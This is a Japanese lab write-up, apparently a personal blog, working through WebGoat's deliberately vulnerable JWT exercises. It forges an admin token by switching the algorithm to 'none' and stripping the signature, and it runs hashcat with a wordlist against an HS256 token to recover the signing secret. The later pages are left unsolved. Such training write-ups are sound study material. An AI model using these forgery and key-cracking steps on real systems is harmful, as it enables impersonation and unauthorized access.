WebGoat-11: JWT tokens
JWT(Json Web Token)とは、JSONデータに電子署名や暗号化方式を格納したもの。これを使ってサーバとクライアントは認証しあうわけだが、やはりこれにも脆弱性が存在する。
暗号化方式を格納したヘッダー部、認証情報を格納したペイロード部のJSONデータと秘密鍵がそれぞれBase64urlエンコードされピリオドでつなげた文字列がJWTトークンとなるらしい。
Page 4
どうにかして管理者ユーザになりすまし、投票データを全削除せよ、という問題。
Tomでログインする際のPOSTリクエストに対するレスポンス・ヘッダーで、Cookie
パラメータは以下のようになっていた。
Set-Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.nhxEXTw3MOpucQlr2_j94sQ6FhGvqGVS1049d2ewcJTikF-
。
おそらくこれがJWTトークンだ。それぞれBase64デコードしてみる。
$ echo -n "eyJhbGciOiJIUzUxMiJ9" | base64 -d
{"alg":"HS512"}
$ echo -n "eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0" | base64 -d
{"iat":1601711539,"admin":"false","user":"Tom"}base64: invalid input
あ、そうか。base64じゃなくてbase64urlじゃないとだめだ。
pythonでもbase64.urlsafe_b64decode()
を使ってみたが例外を吐くので、basse64urlエンコード・デコードにはG Suite Toolboxを使う。
https://toolbox.googleapps.com/apps/encode_decode/
admin
パラメータをtrue
に変更すればよさそうだ。
だが単純にそうしただけではハックできない。JWTにはヘッダー部とペイロード部から作成された電子署名があるからだ。だからパラメータを改ざんするとサーバ側の署名チェックの際に一発でばれる。
ここで詰まったのでヒントを見る。電子署名生成方式をNone
に変更し、電子署名部を削除すればよいようだ。
{"alg":"none"}
:eyJhbGciOiJub25lIn0
(None
ではだめ。ヒントに罠を貼るな。){"iat":1601711539,"admin":"true","user":"Tom"}
:eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ
これらからJWTにしたものがeyJhbGciOiJub25lIn0.eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.
である。電子署名部を削除するといっても、末尾の.
を消してはいけない。
owasp zapでPOSTリクエストをブレークさえ、ゴミ箱アイコンをクリック。上記のJWTをaccess_token
にセットした上でリクエストすることで問題クリア。
Page 5
JWTから秘密鍵を解析し、ユーザ名を変更した上で新たなJWTを送信せよ、という問題。
この記事書いてる途中でJWTをクソ簡単にデコードしてくれるwebサイトを見つけた。
- ヘッダー部
{
"alg": "HS256"
}
- ペイロード部
{
"iss": "WebGoat Token Builder",
"aud": "webgoat.org",
"iat": 1600926587,
"exp": 1600926647,
"sub": "tom@webgoat.org",
"username": "Tom",
"Email": "tom@webgoat.org",
"Role": [
"Manager",
"Project Administrator"
]
}
hashcatなるソフトウェアを使うとよいらしい。
以下のサイトからダウンロードし、7z
で解凍。
解凍したフォルダに移動後、そのフォルダ内で辞書データをダウンロード。
> git clone https://github.com/first20hours/google-10000-english.git
webgoatで提示されているJWTを適当なテキストファイル(ここではwebgoat.hash
)にコピペ。
hashcatを実行。
> .\hashcat.exe -m 16500 -a 0 .\webgoat.hash .\google-10000-english\google-10000-english.txt
hashcat (v6.1.1) starting...
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
ADL_Overdrive_Caps(): -8
OpenCL API (OpenCL 2.1 AMD-APP (2841.19)) - Platform #1 [Advanced Micro Devices, Inc.]
======================================================================================
* Device #1: gfx902, 10209/10273 MB (4048 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
INFO: All hashes found in potfile! Use --show to display them.
Started: Thu Sep 24 15:29:41 2020
Stopped: Thu Sep 24 15:29:42 2020
なんでじゃ。
Page 7
わからん。
Page 8
わからん。